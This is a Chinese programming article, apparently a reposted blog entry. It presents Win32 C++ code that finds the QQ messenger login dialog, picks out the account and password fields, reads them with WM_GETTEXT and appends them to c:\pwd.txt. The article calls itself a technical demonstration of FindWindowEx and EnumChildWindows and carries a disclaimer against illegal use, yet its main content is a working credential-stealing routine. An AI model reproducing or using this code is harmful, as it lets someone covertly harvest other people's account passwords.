截取其他程序文本框和密码框内容的一种实现方法

类别:编程语言 点击:0 评论:0 推荐:

关于FindWindowEx和EnumChildWindows结合枚举任何一个控件的简单示例,以下代码以现在最为流行的qq为例,只抛砖引玉~~呵呵

申明:本文章仅从技术角度讨论这两个函数的使用方法,任何人可以自由传播\复制,但不得用做其他非法用途,否则责任自负.

BOOL CALLBACK EnumqqChildProc(HWND hwndChild, LPARAM lParam)
{ //如果找到qq窗口,调用这个过程枚举控件,得到密码和号码
 char num[11];//qq号码
 char pwd[20];//qq密码
 BOOL b = true;
 HWND CobHwnd = ::FindWindowEx(qqHwnd,NULL,"ComboBox",NULL);//得到下拉列表句柄
 HWND EditNumHwnd = ::FindWindowEx(CobHwnd,NULL,"Edit",NULL);//得到号码文本框句柄
 

//以下循环是得到密码框句柄
 HWND EditPWDHwnd = ::FindWindowEx(qqHwnd,NULL,"Edit",NULL);
 HWND AfterHwnd = NULL;
 while(b)
 {
  LONG lStyle = ::GetWindowLong(EditPWDHwnd, GWL_STYLE);//这个api很有用,可以得到很多东西
  if( (lStyle & ES_PASSWORD))//如果有密码属性,就是密码框
  { 
   b=false;
  }
  else
  { 
   AfterHwnd = EditPWDHwnd;
   EditPWDHwnd = ::FindWindowEx(qqHwnd,AfterHwnd,"Edit",NULL);
  }
  if(EditPWDHwnd==NULL)
   return true;
 }
 //通过WM_GETTEXT取得,窗口中的文本;
 SendMessage(EditNumHwnd,WM_GETTEXT,(WPARAM)11,(LPARAM)num);
 SendMessage(EditPWDHwnd,WM_GETTEXT,(WPARAM)20,(LPARAM)pwd);

 //记录号码和密码

 CString str;
 str.Format("\r\n号码:%s  密码:%s",num,pwd);
 CFile f;
 f.Open("c:\\pwd.txt",CFile::modeCreate|CFile::modeWrite|CFile::modeNoTruncate);
 f.SeekToEnd();
 f.Write(str,str.GetLength());
 bLoop= false;
 return false;
 
 return TRUE;
}
BOOL CALLBACK EnumChildProc(HWND hwndChild, LPARAM lParam)
{ //这个回调函数就是用来找到qq窗口句柄
 char strTitle[80];
 if(::GetWindowText(hwndChild,strTitle,80))
  if(strstr(strTitle,"QQ密码")!=0)//如果标题中有"QQ密码"字串,就视为找到
  {
   bFindqq = true;
   return false;
  }
  return TRUE;
}

//调用的代码:

 HWND hwnd=NULL;//::FindWindow((LPCSTR)"#32770",NULL);
 HWND AfterHwnd = NULL;
 while(!bFindqq)//bFindqq是一个全局变量,标志是否找到了qq窗口
 { 
  hwnd=::FindWindowEx(NULL,AfterHwnd,(LPCSTR)"#32770",NULL);
  if(!hwnd)
   break;
  AfterHwnd = hwnd;
  EnumChildWindows(hwnd,EnumChildProc,NULL);
  if(bFindqq)
   qqHwnd = hwnd;
 }
 if(bFindqq)
  EnumChildWindows(hwnd,EnumqqChildProc,NULL);

本文地址:http://com.8s8s.com/it/it23028.htm